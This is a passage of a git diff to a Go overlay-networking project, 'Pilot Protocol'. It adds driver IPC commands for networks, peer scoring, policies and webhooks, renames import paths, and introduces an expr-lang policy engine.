d.jsonRPC(msg, cmdSetTaskExecOK, "set_task_exec") } // Deregister removes the daemon from the registry. func (d *Driver) Deregister() (map[string]interface{}, error) { - msg := []byte{cmdDeregister} + return d.jsonRPC([]byte{cmdDeregister}, cmdDeregisterOK, "deregister") +} - resp, err := d.ipc.sendAndWait(msg, cmdDeregisterOK) - if err != nil { - return nil, fmt.Errorf("deregister: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("deregister unmarshal: %w", err) - } - return result, nil +// SetTags sets the capability tags for this daemon's node. +func (d *Driver) SetTags(tags []string) (map[string]interface{}, error) { + data, _ := json.Marshal(tags) + msg := make([]byte, 1+len(data)) + msg[0] = cmdSetTags + copy(msg[1:], data) + return d.jsonRPC(msg, cmdSetTagsOK, "set_tags") +} + +// SetWebhook sets or clears the daemon's webhook URL at runtime. +// An empty URL disables the webhook. +func (d *Driver) SetWebhook(url string) (map[string]interface{}, error) { + msg := make([]byte, 1+len(url)) + msg[0] = cmdSetWebhook + copy(msg[1:], url) + return d.jsonRPC(msg, cmdSetWebhookOK, "set_webhook") } // Disconnect closes a connection by ID. Used by administrative tools. @@ -314,6 +293,155 @@ func (d *Driver) Disconnect(connID uint32) error { return err } +// NetworkList returns all networks known to the registry. +func (d *Driver) NetworkList() (map[string]interface{}, error) { + return d.jsonRPC([]byte{cmdNetwork, subNetworkList}, cmdNetworkOK, "network list") +} + +// NetworkJoin joins a network by ID, optionally using a token for token-gated networks. +func (d *Driver) NetworkJoin(networkID uint16, token string) (map[string]interface{}, error) { + msg := make([]byte, 1+1+2+len(token)) + msg[0] = cmdNetwork + msg[1] = subNetworkJoin + binary.BigEndian.PutUint16(msg[2:4], networkID) + copy(msg[4:], token) + return d.jsonRPC(msg, cmdNetworkOK, "network join") +} + +// NetworkLeave leaves a network by ID. +func (d *Driver) NetworkLeave(networkID uint16) (map[string]interface{}, error) { + msg := make([]byte, 4) + msg[0] = cmdNetwork + msg[1] = subNetworkLeave + binary.BigEndian.PutUint16(msg[2:4], networkID) + return d.jsonRPC(msg, cmdNetworkOK, "network leave") +} + +// NetworkMembers lists all members of a network. +func (d *Driver) NetworkMembers(networkID uint16) (map[string]interface{}, error) { + msg := make([]byte, 4) + msg[0] = cmdNetwork + msg[1] = subNetworkMembers + binary.BigEndian.PutUint16(msg[2:4], networkID) + return d.jsonRPC(msg, cmdNetworkOK, "network members") +} + +// NetworkInvite invites a target node to a network (requires admin token on daemon). +func (d *Driver) NetworkInvite(networkID uint16, targetNodeID uint32) (map[string]interface{}, error) { + msg := make([]byte, 8) + msg[0] = cmdNetwork + msg[1] = subNetworkInvite + binary.BigEndian.PutUint16(msg[2:4], networkID) + binary.BigEndian.PutUint32(msg[4:8], targetNodeID) + return d.jsonRPC(msg, cmdNetworkOK, "network invite") +} + +// NetworkPollInvites returns pending network invites for this node. +func (d *Driver) NetworkPollInvites() (map[string]interface{}, error) { + return d.jsonRPC([]byte{cmdNetwork, subNetworkPollInvites}, cmdNetworkOK, "network poll-invites") +} + +// NetworkRespondInvite accepts or rejects a pending network invite. +func (d *Driver) NetworkRespondInvite(networkID uint16, accept bool) (map[string]interface{}, error) { + msg := make([]byte, 5) + msg[0] = cmdNetwork + msg[1] = subNetworkRespondInvite + binary.BigEndian.PutUint16(msg[2:4], networkID) + if accept { + msg[4] = 1 + } + return d.jsonRPC(msg, cmdNetworkOK, "network respond-invite") +} + +// ManagedScore adjusts a peer's score in a managed network. +func (d *Driver) ManagedScore(networkID uint16, nodeID uint32, delta int, topic string) (map[string]interface{}, error) { + msg := make([]byte, 1+1+2+4+4+len(topic)) + msg[0] = cmdManaged + msg[1] = subManagedScore + binary.BigEndian.PutUint16(msg[2:4], networkID) + binary.BigEndian.PutUint32(msg[4:8], nodeID) + binary.BigEndian.PutUint32(msg[8:12], uint32(int32(delta))) + copy(msg[12:], topic) + return d.jsonRPC(msg, cmdManagedOK, "managed score") +} + +// ManagedStatus returns the status of a managed network engine. +func (d *Driver) ManagedStatus(networkID uint16) (map[string]interface{}, error) { + msg := make([]byte, 4) + msg[0] = cmdManaged + msg[1] = subManagedStatus + binary.BigEndian.PutUint16(msg[2:4], networkID) + return d.jsonRPC(msg, cmdManagedOK, "managed status") +} + +// ManagedRankings returns ranked peers in a managed network. +func (d *Driver) ManagedRankings(networkID uint16) (map[string]interface{}, error) { + msg := make([]byte, 4) + msg[0] = cmdManaged + msg[1] = subManagedRankings + binary.BigEndian.PutUint16(msg[2:4], networkID) + return d.jsonRPC(msg, cmdManagedOK, "managed rankings") +} + +// ManagedForceCycle forces a prune/fill cycle in a managed network. +func (d *Driver) ManagedForceCycle(networkID uint16) (map[string]interface{}, error) { + msg := make([]byte, 4) + msg[0] = cmdManaged + msg[1] = subManagedCycle + binary.BigEndian.PutUint16(msg[2:4], networkID) + return d.jsonRPC(msg, cmdManagedOK, "managed cycle") +} + +// PolicyGet retrieves the active policy for a network from the daemon. +func (d *Driver) PolicyGet(networkID uint16) (map[string]interface{}, error) { + msg := make([]byte, 4) + msg[0] = cmdManaged + msg[1] = subManagedPolicy + msg[2] = 0x00 // get + // Shift: need [cmd][sub][action][netID_hi][netID_lo] + msg = make([]byte, 5) + msg[0] = cmdManaged + msg[1] = subManagedPolicy + msg[2] = 0x00 // get + binary.BigEndian.PutUint16(msg[3:5], networkID) + return d.jsonRPC(msg, cmdManagedOK, "policy get") +} + +// PolicySet sends a policy document to the daemon for immediate application. +func (d *Driver) PolicySet(networkID uint16, policyJSON []byte) (map[string]interface{}, error) { + msg := make([]byte, 5+len(policyJSON)) + msg[0] = cmdManaged + msg[1] = subManagedPolicy + msg[2] = 0x01 // set + binary.BigEndian.PutUint16(msg[3:5], networkID) + copy(msg[5:], policyJSON) + return d.jsonRPC(msg, cmdManagedOK, "policy set") +} + +// MemberTagsGet retrieves admin-assigned member tags for a node in a network. +func (d *Driver) MemberTagsGet(networkID uint16, nodeID uint32) (map[string]interface{}, error) { + msg := make([]byte, 9) + msg[0] = cmdManaged + msg[1] = subManagedMemberTags + msg[2] = 0x00 // get + binary.BigEndian.PutUint16(msg[3:5], networkID) + binary.BigEndian.PutUint32(msg[5:9], nodeID) + return d.jsonRPC(msg, cmdManagedOK, "member-tags get") +} + +// MemberTagsSet sets admin-assigned member tags for a node in a network. +func (d *Driver) MemberTagsSet(networkID uint16, nodeID uint32, tags []string) (map[string]interface{}, error) { + tagsJSON, _ := json.Marshal(tags) + msg := make([]byte, 9+len(tagsJSON)) + msg[0] = cmdManaged + msg[1] = subManagedMemberTags + msg[2] = 0x01 // set + binary.BigEndian.PutUint16(msg[3:5], networkID) + binary.BigEndian.PutUint32(msg[5:9], nodeID) + copy(msg[9:], tagsJSON) + return d.jsonRPC(msg, cmdManagedOK, "member-tags set") +} + // Close disconnects from the daemon. func (d *Driver) Close() error { return d.ipc.close() diff --git a/pkg/driver/ipc.go b/pkg/driver/ipc.go index b804dd96..b4cdd92d 100644 --- a/pkg/driver/ipc.go +++ b/pkg/driver/ipc.go @@ -5,27 +5,28 @@ import ( "fmt" "net" "sync" + "time" - "web4/internal/ipcutil" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/internal/ipcutil" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // IPC commands (must match daemon/ipc.go) const ( - cmdBind byte = 0x01 - cmdBindOK byte = 0x02 - cmdDial byte = 0x03 - cmdDialOK byte = 0x04 - cmdAccept byte = 0x05 - cmdSend byte = 0x06 - cmdRecv byte = 0x07 - cmdClose byte = 0x08 - cmdCloseOK byte = 0x09 - cmdError byte = 0x0A - cmdSendTo byte = 0x0B - cmdRecvFrom byte = 0x0C - cmdInfo byte = 0x0D - cmdInfoOK byte = 0x0E + cmdBind byte = 0x01 + cmdBindOK byte = 0x02 + cmdDial byte = 0x03 + cmdDialOK byte = 0x04 + cmdAccept byte = 0x05 + cmdSend byte = 0x06 + cmdRecv byte = 0x07 + cmdClose byte = 0x08 + cmdCloseOK byte = 0x09 + cmdError byte = 0x0A + cmdSendTo byte = 0x0B + cmdRecvFrom byte = 0x0C + cmdInfo byte = 0x0D + cmdInfoOK byte = 0x0E cmdHandshake byte = 0x0F cmdHandshakeOK byte = 0x10 cmdResolveHostname byte = 0x11 @@ -36,6 +37,39 @@ const ( cmdSetVisibilityOK byte = 0x16 cmdDeregister byte = 0x17 cmdDeregisterOK byte = 0x18 + cmdSetTags byte = 0x19 + cmdSetTagsOK byte = 0x1A + cmdSetWebhook byte = 0x1B + cmdSetWebhookOK byte = 0x1C + cmdSetTaskExec byte = 0x1D + cmdSetTaskExecOK byte = 0x1E + cmdNetwork byte = 0x1F + cmdNetworkOK byte = 0x20 + cmdHealth byte = 0x21 + cmdHealthOK byte = 0x22 + cmdManaged byte = 0x23 + cmdManagedOK byte = 0x24 +) + +// Network sub-commands (must match daemon SubNetwork* constants) +const ( + subNetworkList byte = 0x01 + subNetworkJoin byte = 0x02 + subNetworkLeave byte = 0x03 + subNetworkMembers byte = 0x04 + subNetworkInvite byte = 0x05 + subNetworkPollInvites byte = 0x06 + subNetworkRespondInvite byte = 0x07 +) + +// Managed sub-commands (must match daemon SubManaged* constants) +const ( + subManagedScore byte = 0x01 + subManagedStatus byte = 0x02 + subManagedRankings byte = 0x03 + subManagedCycle byte = 0x04 + subManagedPolicy byte = 0x05 + subManagedMemberTags byte = 0x06 ) // Datagram represents a received unreliable datagram. @@ -47,16 +81,16 @@ type Datagram struct { } type ipcClient struct { - conn net.Conn - mu sync.Mutex - handlers map[byte][]chan []byte // command type → waiting channels - recvMu sync.Mutex - recvChs map[uint32]chan []byte // conn_id → data channel - pendRecv map[uint32][][]byte // conn_id → buffered data before recvCh registered - acceptMu sync.Mutex + conn net.Conn + mu sync.Mutex + handlers map[byte][]chan []byte // command type → waiting channels + recvMu sync.Mutex + recvChs map[uint32]chan []byte // conn_id → data channel + pendRecv map[uint32][][]byte // conn_id → buffered data before recvCh registered + acceptMu sync.Mutex acceptChs map[uint16]chan []byte // H12 fix: per-port accept channels - dgCh chan *Datagram // incoming datagrams - doneCh chan struct{} // closed when readLoop exits + dgCh chan *Datagram // incoming datagrams + doneCh chan struct{} // closed when readLoop exits } func newIPCClient(socketPath string) (*ipcClient, error) { @@ -124,6 +158,16 @@ func (c *ipcClient) readLoop() { } c.recvMu.Unlock() } + // Also dispatch to sendAndWait handlers (for Driver.Disconnect) + c.mu.Lock() + if chs, ok := c.handlers[cmd]; ok && len(chs) > 0 { + ch := chs[0] + c.handlers[cmd] = chs[1:] + c.mu.Unlock() + ch <- append([]byte(nil), payload...) + } else { + c.mu.Unlock() + } case cmdRecvFrom: // Datagram: [6-byte src_addr][2-byte src_port][2-byte dst_port][data] if len(payload) >= protocol.AddrSize+4 { @@ -204,6 +248,10 @@ func (c *ipcClient) send(data []byte) error { } func (c *ipcClient) sendAndWait(data []byte, expectCmd byte) ([]byte, error) { + return c.sendAndWaitTimeout(data, expectCmd, 0) +} + +func (c *ipcClient) sendAndWaitTimeout(data []byte, expectCmd byte, timeout time.Duration) ([]byte, error) { ch := make(chan []byte, 1) c.mu.Lock() @@ -217,6 +265,13 @@ func (c *ipcClient) sendAndWait(data []byte, expectCmd byte) ([]byte, error) { c.handlers[cmdError] = append(c.handlers[cmdError], errCh) c.mu.Unlock() + var timer <-chan time.Time + if timeout > 0 { + t := time.NewTimer(timeout) + defer t.Stop() + timer = t.C + } + select { case resp, ok := <-ch: c.removeHandler(cmdError, errCh) @@ -235,6 +290,10 @@ func (c *ipcClient) sendAndWait(data []byte, expectCmd byte) ([]byte, error) { return nil, fmt.Errorf("daemon error") case <-c.doneCh: return nil, fmt.Errorf("daemon disconnected") + case <-timer: + c.removeHandler(expectCmd, ch) + c.removeHandler(cmdError, errCh) + return nil, fmt.Errorf("dial timeout") } } @@ -254,20 +313,11 @@ func (c *ipcClient) removeHandler(cmd byte, ch chan []byte) { func (c *ipcClient) registerAcceptCh(port uint16) chan []byte { ch := make(chan []byte, 64) c.acceptMu.Lock() + defer c.acceptMu.Unlock() c.acceptChs[port] = ch - c.acceptMu.Unlock() return ch } -func (c *ipcClient) unregisterAcceptCh(port uint16) { - c.acceptMu.Lock() - if ch, ok := c.acceptChs[port]; ok { - close(ch) - delete(c.acceptChs, port) - } - c.acceptMu.Unlock() -} - func (c *ipcClient) registerRecvCh(connID uint32) chan []byte { ch := make(chan []byte, 256) c.recvMu.Lock() @@ -284,7 +334,6 @@ func (c *ipcClient) registerRecvCh(connID uint32) chan []byte { func (c *ipcClient) unregisterRecvCh(connID uint32) { c.recvMu.Lock() + defer c.recvMu.Unlock() delete(c.recvChs, connID) - c.recvMu.Unlock() } - diff --git a/pkg/driver/listener.go b/pkg/driver/listener.go index ab9ae9ec..bfbe03b7 100644 --- a/pkg/driver/listener.go +++ b/pkg/driver/listener.go @@ -6,14 +6,14 @@ import ( "net" "sync" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Listener implements net.Listener over a Pilot Protocol port. type Listener struct { port uint16 ipc *ipcClient - acceptCh chan []byte // H12 fix: per-port accept channel + acceptCh chan []byte // H12 fix: per-port accept channel mu sync.Mutex closed bool done chan struct{} // closed on Close() to unblock Accept (H13 fix) @@ -72,12 +72,6 @@ func (l *Listener) Close() error { return nil } -// closeFull closes the listener and unregisters the accept channel. -func (l *Listener) closeFull() { - l.Close() - l.ipc.unregisterAcceptCh(l.port) -} - func (l *Listener) Addr() net.Addr { return pilotAddr(protocol.SocketAddr{Port: l.port}) } diff --git a/pkg/eventstream/client.go b/pkg/eventstream/client.go index 280f8a11..08de88c9 100644 --- a/pkg/eventstream/client.go +++ b/pkg/eventstream/client.go @@ -1,8 +1,8 @@ package eventstream import ( - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Client connects to a remote event stream broker on port 1002. diff --git a/pkg/eventstream/server.go b/pkg/eventstream/server.go index f008a872..72894594 100644 --- a/pkg/eventstream/server.go +++ b/pkg/eventstream/server.go @@ -5,8 +5,8 @@ import ( "net" "sync" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Server is a pub/sub event broker on port 1002. diff --git a/pkg/gateway/gateway.go b/pkg/gateway/gateway.go index 6bd03976..9a2e7bd4 100644 --- a/pkg/gateway/gateway.go +++ b/pkg/gateway/gateway.go @@ -9,8 +9,8 @@ import ( "runtime" "sync" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // DefaultPorts is the default set of ports the gateway proxies. @@ -32,7 +32,7 @@ type Gateway struct { driver *driver.Driver mu sync.Mutex listeners map[string]net.Listener // localIP:port → TCP listener - aliases []net.IP // loopback aliases to clean up on Stop + aliases []net.IP // loopback aliases to clean up on Stop done chan struct{} } @@ -257,12 +257,16 @@ func (gw *Gateway) bridgeConnection(tcpConn net.Conn, pilotAddr protocol.Addr, p // to unblock the other goroutine and prevent leaks done := make(chan struct{}, 2) go func() { - io.Copy(pilotConn, tcpConn) + if _, err := io.Copy(pilotConn, tcpConn); err != nil { + slog.Debug("gateway copy tcp→pilot ended", "error", err) + } pilotConn.Close() done <- struct{}{} }() go func() { - io.Copy(tcpConn, pilotConn) + if _, err := io.Copy(tcpConn, pilotConn); err != nil { + slog.Debug("gateway copy pilot→tcp ended", "error", err) + } tcpConn.Close() done <- struct{}{} }() diff --git a/pkg/gateway/mapping.go b/pkg/gateway/mapping.go index c3c21278..826e3d2c 100644 --- a/pkg/gateway/mapping.go +++ b/pkg/gateway/mapping.go @@ -5,16 +5,16 @@ import ( "net" "sync" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // MappingTable maps local IPs to Pilot addresses and vice versa. type MappingTable struct { - mu sync.RWMutex - forward map[string]protocol.Addr // local IP → pilot addr - reverse map[protocol.Addr]net.IP // pilot addr → local IP - subnet *net.IPNet - nextIP net.IP + mu sync.RWMutex + forward map[string]protocol.Addr // local IP → pilot addr + reverse map[protocol.Addr]net.IP // pilot addr → local IP + subnet *net.IPNet + nextIP net.IP } // NewMappingTable creates a mapping table for the given subnet (e.g. "10.4.0.0/16"). diff --git a/pkg/nameserver/client.go b/pkg/nameserver/client.go index e346515a..1446c593 100644 --- a/pkg/nameserver/client.go +++ b/pkg/nameserver/client.go @@ -3,8 +3,8 @@ package nameserver import ( "fmt" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Client queries a Pilot Protocol nameserver over the overlay. diff --git a/pkg/nameserver/records.go b/pkg/nameserver/records.go index 87466625..d5e23d45 100644 --- a/pkg/nameserver/records.go +++ b/pkg/nameserver/records.go @@ -9,8 +9,8 @@ import ( "sync" "time" - "web4/internal/fsutil" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/internal/fsutil" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Record types @@ -22,12 +22,12 @@ const ( // Record is a name record in the nameserver. type Record struct { - Type string `json:"type"` - Name string `json:"name"` - Address string `json:"address,omitempty"` // for A records - NetID uint16 `json:"network_id,omitempty"` // for N records - Port uint16 `json:"port,omitempty"` // for S records - NodeID uint32 `json:"node_id,omitempty"` // for S records (who registered it) + Type string `json:"type"` + Name string `json:"name"` + Address string `json:"address,omitempty"` // for A records + NetID uint16 `json:"network_id,omitempty"` // for N records + Port uint16 `json:"port,omitempty"` // for S records + NodeID uint32 `json:"node_id,omitempty"` // for S records (who registered it) } // Default TTL for nameserver records. @@ -48,10 +48,10 @@ type nEntry struct { // RecordStore holds all nameserver records in memory. type RecordStore struct { mu sync.RWMutex - aRecords map[string]*aEntry // name → addr entry - nRecords map[string]*nEntry // network name → network ID entry - sRecords map[svcKey][]ServiceEntry // (network_id, port) → providers - storePath string // path to persist records (empty = no persistence) + aRecords map[string]*aEntry // name → addr entry + nRecords map[string]*nEntry // network name → network ID entry + sRecords map[svcKey][]ServiceEntry // (network_id, port) → providers + storePath string // path to persist records (empty = no persistence) ttl time.Duration done chan struct{} } @@ -143,6 +143,18 @@ func (rs *RecordStore) reapExpired() { } } +// SetTTL overrides the default record TTL. +func (rs *RecordStore) SetTTL(d time.Duration) { + rs.mu.Lock() + rs.ttl = d + rs.mu.Unlock() +} + +// Reap forces an immediate removal of expired records. +func (rs *RecordStore) Reap() { + rs.reapExpired() +} + // SetStorePath enables persistence to the given file path and loads existing data. func (rs *RecordStore) SetStorePath(path string) { rs.mu.Lock() diff --git a/pkg/nameserver/server.go b/pkg/nameserver/server.go index bc2ad666..1b6b2b25 100644 --- a/pkg/nameserver/server.go +++ b/pkg/nameserver/server.go @@ -5,12 +5,17 @@ import ( "log/slog" "net" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Server is the Pilot Protocol nameserver. It runs on the overlay // network itself, listening on port 53. +// +// Trust boundary note: the nameserver responds to DNS queries from any registered +// node without trust gating. This is intentional — DNS is a public lookup service +// (like real-world DNS), and hostname→address mappings are not considered private. +// Private nodes are protected at the resolve/connect layer, not at name resolution. type Server struct { store *RecordStore driver *driver.Driver @@ -81,12 +86,12 @@ func (s *Server) handleConn(conn net.Conn) { line := string(buf[:n]) req, err := ParseRequest(line) if err != nil { - conn.Write([]byte(FormatResponseErr(err.Error()))) + _, _ = conn.Write([]byte(FormatResponseErr(err.Error()))) return } resp := s.handleRequest(req, conn.RemoteAddr()) - conn.Write([]byte(resp)) + _, _ = conn.Write([]byte(resp)) } func (s *Server) handleRequest(req Request, remoteAddr net.Addr) string { diff --git a/pkg/nameserver/wire.go b/pkg/nameserver/wire.go index 6ca5f481..548a4b1a 100644 --- a/pkg/nameserver/wire.go +++ b/pkg/nameserver/wire.go @@ -5,7 +5,7 @@ import ( "strconv" "strings" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Wire protocol for the nameserver. Plain text, newline-delimited. diff --git a/pkg/policy/engine.go b/pkg/policy/engine.go new file mode 100644 index 00000000..9e4e943d --- /dev/null +++ b/pkg/policy/engine.go @@ -0,0 +1,256 @@ +package policy + +import ( + "fmt" + "time" + + "github.com/expr-lang/expr" + "github.com/expr-lang/expr/vm" +) + +// compiledRule is a single rule with its match expression pre-compiled. +type compiledRule struct { + rule Rule + program *vm.Program +} + +// CompiledPolicy holds a fully compiled and validated policy ready for evaluation. +type CompiledPolicy struct { + Doc PolicyDocument + rules []compiledRule + + // Pre-compiled sub-expressions for evict_where actions. + // Key: "ruleName:actionIdx" + peerPrograms map[string]*vm.Program +} + +// Compile validates and compiles all expressions in a policy document. +// Returns an error if any expression fails type-checking or compilation. +func Compile(doc *PolicyDocument) (*CompiledPolicy, error) { + if err := Validate(doc); err != nil { + return nil, err + } + + cp := &CompiledPolicy{ + Doc: *doc, + rules: make([]compiledRule, 0, len(doc.Rules)), + peerPrograms: make(map[string]*vm.Program), + } + + for i, r := range doc.Rules { + opts := envOptions(r.On) + prog, err := expr.Compile(r.Match, opts...) + if err != nil { + return nil, fmt.Errorf("policy: rule %q match: %w", r.Name, err) + } + cp.rules = append(cp.rules, compiledRule{rule: r, program: prog}) + + // Compile sub-expressions in actions (e.g. evict_where.match) + for j, a := range r.Actions { + if a.Type == ActionEvictWhere { + matchExpr, _ := a.Params["match"].(string) + if matchExpr == "" { + return nil, fmt.Errorf("policy: rule %q action[%d]: evict_where match must be a string", r.Name, j) + } + peerProg, err := expr.Compile(matchExpr, peerEnvOptions()...) + if err != nil { + return nil, fmt.Errorf("policy: rule %q action[%d] evict_where match: %w", r.Name, j, err) + } + key := fmt.Sprintf("%s:%d", r.Name, j) + cp.peerPrograms[key] = peerProg + } + } + + _ = i + } + + return cp, nil +} + +// Evaluate runs all rules for the given event type against the provided context. +// For gate events (connect, dial, datagram), evaluation stops at the first verdict. +// For action events (cycle, join, leave), all matching rules fire. +// +// The context map must contain the variables declared for the event type (see env.go). +// Returns a list of directives the caller should execute. +func (cp *CompiledPolicy) Evaluate(eventType EventType, ctx map[string]interface{}) ([]Directive, error) { + if eventType.IsGateEvent() { + return cp.evaluateGate(eventType, ctx) + } + return cp.evaluateActions(eventType, ctx) +} + +// evaluateGate evaluates rules for a gate event, stopping at the first verdict. +func (cp *CompiledPolicy) evaluateGate(eventType EventType, ctx map[string]interface{}) ([]Directive, error) { + var sideEffects []Directive + + for _, cr := range cp.rules { + if cr.rule.On != eventType { + continue + } + + matched, err := runProgram(cr.program, ctx) + if err != nil { + return nil, fmt.Errorf("policy: rule %q eval: %w", cr.rule.Name, err) + } + if !matched { + continue + } + + // Collect all directives from this rule + directives := toDirectives(cr.rule) + + // Separate verdict from side effects + for _, d := range directives { + if d.Type == DirectiveAllow || d.Type == DirectiveDeny { + // Return verdict + any accumulated side effects + side effects from this rule + result := make([]Directive, 0, len(sideEffects)+len(directives)) + result = append(result, sideEffects...) + result = append(result, directives...) + return result, nil + } + } + + // No verdict in this rule — accumulate side effects and continue + sideEffects = append(sideEffects, directives...) + } + + // No verdict rule matched — default allow + any accumulated side effects + result := append(sideEffects, Directive{ + Type: DirectiveAllow, + Rule: "_default", + }) + return result, nil +} + +// evaluateActions evaluates all matching rules for an action event. +func (cp *CompiledPolicy) evaluateActions(eventType EventType, ctx map[string]interface{}) ([]Directive, error) { + var directives []Directive + + for _, cr := range cp.rules { + if cr.rule.On != eventType { + continue + } + + matched, err := runProgram(cr.program, ctx) + if err != nil { + return nil, fmt.Errorf("policy: rule %q eval: %w", cr.rule.Name, err) + } + if !matched { + continue + } + + directives = append(directives, toDirectives(cr.rule)...) + } + + return directives, nil +} + +// EvaluatePeerExpr evaluates a pre-compiled peer sub-expression (e.g. evict_where) +// against per-peer variables. Returns true if the peer matches. +func (cp *CompiledPolicy) EvaluatePeerExpr(ruleName string, actionIdx int, peerCtx map[string]interface{}) (bool, error) { + key := fmt.Sprintf("%s:%d", ruleName, actionIdx) + prog, ok := cp.peerPrograms[key] + if !ok { + return false, fmt.Errorf("policy: no compiled peer expression for %s", key) + } + return runProgram(prog, peerCtx) +} + +// HasRulesFor returns true if the policy has any rules for the given event type. +func (cp *CompiledPolicy) HasRulesFor(eventType EventType) bool { + for _, cr := range cp.rules { + if cr.rule.On == eventType { + return true + } + } + return false +} + +// CycleDuration returns the configured cycle interval from config, or zero if not set. +func (cp *CompiledPolicy) CycleDuration() (dur, grace string) { + if cp.Doc.Config == nil { + return "", "" + } + if v, ok := cp.Doc.Config["cycle"]; ok { + dur, _ = v.(string) + } + if v, ok := cp.Doc.Config["grace"]; ok { + grace, _ = v.(string) + } + return dur, grace +} + +// MaxPeers returns the configured max_peers from config, or 0 if not set. +func (cp *CompiledPolicy) MaxPeers() int { + if cp.Doc.Config == nil { + return 0 + } + if v, ok := cp.Doc.Config["max_peers"]; ok { + switch n := v.(type) { + case float64: + return int(n) + case int: + return n + } + } + return 0 +} + +// --- helpers --- + +func runProgram(prog *vm.Program, ctx map[string]interface{}) (bool, error) { + type result struct { + val interface{} + err error + } + ch := make(chan result, 1) + go func() { + out, err := expr.Run(prog, ctx) + ch <- result{out, err} + }() + select { + case r := <-ch: + if r.err != nil { + return false, r.err + } + b, ok := r.val.(bool) + if !ok { + return false, fmt.Errorf("expression returned %T, want bool", r.val) + } + return b, nil + case <-time.After(100 * time.Millisecond): + return false, fmt.Errorf("expression evaluation timed out") + } +} + +var actionTypeToDirective = map[ActionType]DirectiveType{ + ActionAllow: DirectiveAllow, + ActionDeny: DirectiveDeny, + ActionScore: DirectiveScore, + ActionTag: DirectiveTag, + ActionEvict: DirectiveEvict, + ActionEvictWhere: DirectiveEvictWhere, + ActionPrune: DirectivePrune, + ActionFill: DirectiveFill, + ActionPruneTrust: DirectivePruneTrust, + ActionFillTrust: DirectiveFillTrust, + ActionWebhook: DirectiveWebhook, + ActionLog: DirectiveLog, +} + +func toDirectives(rule Rule) []Directive { + directives := make([]Directive, 0, len(rule.Actions)) + for _, a := range rule.Actions { + dt, ok := actionTypeToDirective[a.Type] + if !ok { + continue + } + directives = append(directives, Directive{ + Type: dt, + Rule: rule.Name, + Params: a.Params, + }) + } + return directives +} diff --git a/pkg/policy/env.go b/pkg/policy/env.go new file mode 100644 index 00000000..df5cfe8f --- /dev/null +++ b/pkg/policy/env.go @@ -0,0 +1,141 @@ +package policy + +import ( + "time" + + "github.com/expr-lang/expr" +) + +// envOptions returns the common expr options for compiling match expressions. +// The environment defines all variables available to expressions and custom functions. +func envOptions(eventType EventType) []expr.Option { + opts := []expr.Option{ + expr.AsBool(), // match expressions must return bool + expr.AllowUndefinedVariables(), // forward compat: unknown vars → zero value + + // Custom functions + expr.Function("has_tag", hasTagFn, + new(func([]string, string) bool), + ), + expr.Function("duration", durationFn, + new(func(string) float64), + ), + expr.Function("since", sinceFn, + new(func(float64) float64), + ), + } + + // Declare typed environment variables per event type so expr can + // type-check at compile time. We use Env() with a map schema. + env := baseEnv() + switch eventType { + case EventConnect: + env["peer_id"] = 0 // uint32 as int + env["port"] = 0 // uint16 as int + env["network_id"] = 0 // uint16 as int + env["peer_score"] = 0 // int + env["peer_tags"] = []string{} + env["peer_age_s"] = 0.0 // float64: seconds since peer added + env["members"] = 0 // int: member count + case EventDial: + env["peer_id"] = 0 + env["port"] = 0 + env["network_id"] = 0 + env["peer_score"] = 0 + env["peer_tags"] = []string{} + env["peer_age_s"] = 0.0 + env["members"] = 0 + case EventDatagram: + env["peer_id"] = 0 + env["port"] = 0 + env["network_id"] = 0 + env["size"] = 0 + env["direction"] = "" // "in" or "out" + env["peer_score"] = 0 + env["peer_tags"] = []string{} + env["peer_age_s"] = 0.0 + env["members"] = 0 + case EventCycle: + env["network_id"] = 0 + env["members"] = 0 + env["peer_count"] = 0 + env["cycle_num"] = 0 + env["trusted_count"] = 0 + case EventJoin: + env["peer_id"] = 0 + env["network_id"] = 0 + env["members"] = 0 + case EventLeave: + env["peer_id"] = 0 + env["network_id"] = 0 + } + + opts = append(opts, expr.Env(env)) + return opts +} + +// baseEnv returns variables common to all event types. +func baseEnv() map[string]interface{} { + return map[string]interface{}{ + "local_tags": []string{}, // admin-assigned member tags for local node + } +} + +// peerEnvOptions returns expr options for sub-expressions that evaluate +// per-peer (e.g. evict_where match). These have a different variable set. +func peerEnvOptions() []expr.Option { + return []expr.Option{ + expr.AsBool(), + expr.AllowUndefinedVariables(), + expr.Function("has_tag", hasTagFn, + new(func([]string, string) bool), + ), + expr.Function("duration", durationFn, + new(func(string) float64), + ), + expr.Function("since", sinceFn, + new(func(float64) float64), + ), + expr.Env(map[string]interface{}{ + "peer_id": 0, + "peer_score": 0, + "peer_tags": []string{}, + "peer_age_s": 0.0, + "last_seen": 0.0, // unix timestamp + }), + } +} + +// --- Custom functions --- + +// has_tag checks if a tag exists in a tag slice. +func hasTagFn(params ...interface{}) (interface{}, error) { + tags := params[0].([]string) + name := params[1].(string) + for _, t := range tags { + if t == name { + return true, nil + } + } + return false, nil +} + +// duration parses a Go duration string and returns seconds as float64. +func durationFn(params ...interface{}) (interface{}, error) { + s := params[0].(string) + d, err := time.ParseDuration(s) + if err != nil { + return 0.0, err + } + return d.Seconds(), nil +} + +// since returns seconds elapsed since the given unix timestamp. +func sinceFn(params ...interface{}) (interface{}, error) { + ts := params[0].(float64) 